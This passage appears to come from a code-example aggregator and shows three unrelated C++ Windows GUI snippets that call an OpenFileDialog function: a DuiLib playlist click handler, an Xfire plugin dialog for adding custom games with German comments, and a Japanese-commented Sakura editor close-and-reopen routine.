        CMenuWnd *pMenu = new CMenuWnd(_T("menu.xml"));
        POINT    pt = {msg.ptMouse.x, msg.ptMouse.y};
        CDuiRect rc = msg.pSender->GetPos();

        pt.x = rc.left;
        pt.y = rc.bottom;
        pMenu->Init(&m_PaintManager, pt);
        pMenu->ShowWindow(TRUE);
    }
	else if (msg.pSender->GetName() == _T("btnAdd"))
	{
		OpenFileDialog();
	}
	else if (msg.pSender->GetName() == _T("btnDelete"))
	{
		DeleteFileItem();
	}
	else if (msg.pSender->GetTag() == U_TAG_PLAYLIST)
	{
		CDuiString strPath = msg.pSender->GetName();
		Play(strPath.GetData());
	}

    __super::OnClick(msg);
}
Example #25
0
INT_PTR CALLBACK DlgAddGameProc2(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_INITDIALOG:
		//ein spiel wurde zum editieren geöffnet, felder alle vorbelegen
		if (editgame) {
			//add augf übernehmen umstellen
			SetDlgItemText(hwndDlg, IDOK, TranslateT("Apply"));

			//namen vorbelegen
			if (editgame->customgamename)
				SetDlgItemTextA(hwndDlg, IDC_ADD_NAME, editgame->customgamename);
			else if (editgame->name)
				SetDlgItemTextA(hwndDlg, IDC_ADD_NAME, editgame->name);

			//gameid setzen und feld schreibschützen
			char gameid[10] = "";
			_itoa_s(editgame->id, gameid, 10, 10);
			SetDlgItemTextA(hwndDlg, IDC_ADD_ID, gameid);
			EnableWindow(GetDlgItem(hwndDlg, IDC_ADD_ID), FALSE);

			//sendgameid setzen, bei -1 leer lassen
			if (editgame->send_gameid != -1)
			{
				_itoa_s(editgame->send_gameid, gameid, 10, 10);
				SetDlgItemTextA(hwndDlg, IDC_ADD_SENDID, gameid);
			}

			//launcherstring
			if (editgame->launchparams) {
				SetDlgItemTextA(hwndDlg, IDC_ADD_LAUNCHEREXE, editgame->launchparams);
			}

			//detectstring
			if (editgame->path) {
				SetDlgItemTextA(hwndDlg, IDC_ADD_DETECTEXE, editgame->path);
			}

			//statusmsg
			if (editgame->statusmsg) {
				SetDlgItemTextA(hwndDlg, IDC_ADD_STATUSMSG, editgame->statusmsg);
			}

			//mustcontain parameter
			if (editgame->mustcontain) {
				SetDlgItemTextA(hwndDlg, IDC_ADD_CUSTOMPARAMS, editgame->mustcontain);
			}
		}
		//dialog übersetzen
		TranslateDialogDefault(hwndDlg);

		return TRUE;

	case WM_COMMAND:
	{
		if (LOWORD(wParam) == IDC_SENDIDHELP)
		{
			MessageBox(hwndDlg, TranslateT("If you add a mod of an Xfire supported game, then you can specify what game ID will be sent to Xfire. So if you add a Half-Life mod, you can set the Half-Life game ID and if you start the game, your Xfire buddies will see the Half-Life game icon next to your name and the game time will be tracked."), TranslateT("XFire Options"), MB_OK | MB_ICONASTERISK);
		}
		else if (LOWORD(wParam) == IDC_GAMEIDHELP)
		{
			MessageBox(hwndDlg, TranslateT("Every game in Xfire needs an ID. Use a number above the last used ID to avoid problems with used IDs. Every number above 10000 should be save. This ID will not be sent to Xfire, when you start a game."), TranslateT("XFire Options"), MB_OK | MB_ICONASTERISK);
		}
		else if (LOWORD(wParam) == IDC_ADD_BROWSEDETECT)
		{
			OPENFILENAMEA ofn;
			if (OpenFileDialog(hwndDlg, &ofn, "*.exe"))
			{
				SetDlgItemTextA(hwndDlg, IDC_ADD_DETECTEXE, ofn.lpstrFile);
			}
		}
		else if (LOWORD(wParam) == IDC_ADD_BROWSELAUNCHER)
		{
			OPENFILENAMEA ofn;
			if (OpenFileDialog(hwndDlg, &ofn, "*.exe"))
			{
				SetDlgItemTextA(hwndDlg, IDC_ADD_LAUNCHEREXE, ofn.lpstrFile);
			}
		}
		else if (LOWORD(wParam) == IDCANCEL)
		{
			//nicht schließen, wenn noch der thread läuft
			if (dontClose) {
				MessageBox(hwndDlg, TranslateT("Please wait, game.ini will be currently parsed..."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
				return FALSE;
			}
			return SendMessage(GetParent(hwndDlg), WM_CLOSE, 0, 0);
		}
		else if (LOWORD(wParam) == IDOK)
		{
			char temp[256];

			//fillgames sucht noch
			if (dontClose) {
				MessageBox(hwndDlg, TranslateT("Please wait, game.ini will be currently parsed..."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
				return FALSE;
			}

			//neuen gameeintrag anlegen
			Xfire_game* newgame = NULL;

			if (editgame)
				newgame = editgame;
			else
				newgame = new Xfire_game();

			//Spielname
			GetDlgItemTextA(hwndDlg, IDC_ADD_NAME, temp, SIZEOF(temp));
			if (!strlen(temp))
			{
				if (!editgame) delete newgame;
				return MessageBox(hwndDlg, TranslateT("Please enter a game name."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
			}
			else
			{
				//spielname zuordnen
				newgame->setString(temp, &newgame->customgamename);
				//spielnamen fürs menü
				newgame->setString(temp, &newgame->name);
			}
			//spielid nur setzen/prüfen, wenn kein editgame
			if (!editgame) {
				GetDlgItemTextA(hwndDlg, IDC_ADD_ID, temp, SIZEOF(temp));
				if (!strlen(temp))
				{
					if (!editgame) delete newgame;
					return MessageBox(hwndDlg, TranslateT("Please enter a game ID."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
				}
				else
				{
					int gameid = atoi(temp);
					//negative gameid blocken
					if (gameid < 1)
					{
						if (!editgame) delete newgame;
						return MessageBox(hwndDlg, TranslateT("Please enter a game ID above 1."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
					}
					//gameid auf uniq prüfen
					else if (xgamelist.getGamebyGameid(gameid))
					{
						if (!editgame) delete newgame;
						return MessageBox(hwndDlg, TranslateT("This game ID is already in use."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
					}
					//gameid zuordnen
					newgame->id = gameid;
					//standardmäßig wird bei einem customeintrag keine id versendet
					newgame->send_gameid = -1;
				}
			}
			//zu sendene spielid
			GetDlgItemTextA(hwndDlg, IDC_ADD_SENDID, temp, SIZEOF(temp));
			if (strlen(temp))
			{
				//standardmäßig wird bei einem customeintrag keine id versendet
				int sendid = atoi(temp);
				if (sendid > 0)
					newgame->send_gameid = sendid;
			}

			//launcher exe
			GetDlgItemTextA(hwndDlg, IDC_ADD_LAUNCHEREXE, temp, SIZEOF(temp));
			if (strlen(temp))
			{
				//lowercase pfad
				newgame->strtolower(temp);
				//detect exe
				newgame->setString(temp, &newgame->launchparams);
			}
			//detectexe
			GetDlgItemTextA(hwndDlg, IDC_ADD_DETECTEXE, temp, SIZEOF(temp));
			if (!strlen(temp))
			{
				if (!editgame) delete newgame;
				return MessageBox(hwndDlg, TranslateT("Please select a game exe. Note: If you don't select a launcher exe, the game exe will be used in the game start menu."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
			}
			else
			{
				//lowercase pfad
				newgame->strtolower(temp);
				//detect exe
				newgame->setString(temp, &newgame->path);
				//wenn kein launcher exe/pfad angeben wurde, dann den gamepath nehmen
				if (!newgame->launchparams)
					newgame->setString(temp, &newgame->launchparams);

			}
			//mustcontain parameter
			GetDlgItemTextA(hwndDlg, IDC_ADD_CUSTOMPARAMS, temp, SIZEOF(temp));
			if (strlen(temp))
			{
				newgame->setString(temp, &newgame->mustcontain);
			}
			//statusmsg speichern
			GetDlgItemTextA(hwndDlg, IDC_ADD_STATUSMSG, temp, SIZEOF(temp));
			if (strlen(temp))
			{
				newgame->setString(temp, &newgame->statusmsg);
				newgame->setstatusmsg = 1;
			}
			//custom eintrag aktivieren
			newgame->custom = 1;
			//spiel in die gameliste einfügen, aber nur im nicht editmodus
			if (!editgame)
				xgamelist.Addgame(newgame);
			//derzeitige gameliste in die datenbank eintragen
			xgamelist.writeDatabase();
			//startmenu leeren
			xgamelist.clearStartmenu();
			//startmenu neuerzeugen
			xgamelist.createStartmenu();

			return SendMessage(GetParent(hwndDlg), WM_CLOSE, 0, 0);
		}
		break;
	}
	}
	return FALSE;
}
/* 閉じて開く
	@date 2006.12.30 ryoji CEditView::Command_FILESAVEAS()から処理本体を切り出し
*/
void CDocFileOperation::FileCloseOpen( const SLoadInfo& _sLoadInfo )
{
	/* ファイルを閉じるときのMRU登録 & 保存確認 & 保存実行 */
	if( !m_pcDocRef->OnFileClose(false) ){
		return;
	}

	//プラグイン:DocumentCloseイベント実行
	CPlug::Array plugs;
	CWSHIfObj::List params;
	CJackManager::getInstance()->GetUsablePlug( PP_DOCUMENT_CLOSE, 0, &plugs );
	for( CPlug::ArrayIter it = plugs.begin(); it != plugs.end(); it++ ){
		(*it)->Invoke(&m_pcDocRef->m_pcEditWnd->GetActiveView(), params);
	}

	//ファイル名指定が無い場合はダイアログで入力させる
	SLoadInfo sLoadInfo = _sLoadInfo;
	if( sLoadInfo.cFilePath.Length()==0 ){
		std::vector<std::tstring> files;
		if( !OpenFileDialog( CEditWnd::getInstance()->GetHwnd(), NULL, &sLoadInfo, files ) ){
			return;
		}
		sLoadInfo.cFilePath = files[0].c_str();
		// 他のファイルは新規ウィンドウ
		size_t nSize = files.size();
		for( size_t i = 1; i < nSize; i++ ){
			SLoadInfo sFilesLoadInfo = sLoadInfo;
			sFilesLoadInfo.cFilePath = files[i].c_str();
			CControlTray::OpenNewEditor(
				G_AppInstance(),
				CEditWnd::getInstance()->GetHwnd(),
				sFilesLoadInfo,
				NULL,
				true
			);
		}
	}

	/* 既存データのクリア */
	m_pcDocRef->InitDoc();

	/* 全ビューの初期化 */
	m_pcDocRef->InitAllView();

	//開く
	FileLoadWithoutAutoMacro(&sLoadInfo);

	if( !m_pcDocRef->m_cDocFile.GetFilePathClass().IsValidPath() ){
		m_pcDocRef->SetCurDirNotitle();
		CAppNodeManager::getInstance()->GetNoNameNumber( m_pcDocRef->m_pcEditWnd->GetHwnd() );
	}

	/* 親ウィンドウのタイトルを更新 */
	m_pcDocRef->m_pcEditWnd->UpdateCaption();

	// オープン後自動実行マクロを実行する
	// ※ロードしてなくても(無題)には変更済み
	m_pcDocRef->RunAutoMacro( GetDllShareData().m_Common.m_sMacro.m_nMacroOnOpened );

	//プラグイン:DocumentOpenイベント実行
	plugs.clear();
	CJackManager::getInstance()->GetUsablePlug( PP_DOCUMENT_OPEN, 0, &plugs );
	for( CPlug::ArrayIter it = plugs.begin(); it != plugs.end(); it++ ){
		(*it)->Invoke(&m_pcDocRef->m_pcEditWnd->GetActiveView(), params);
	}
}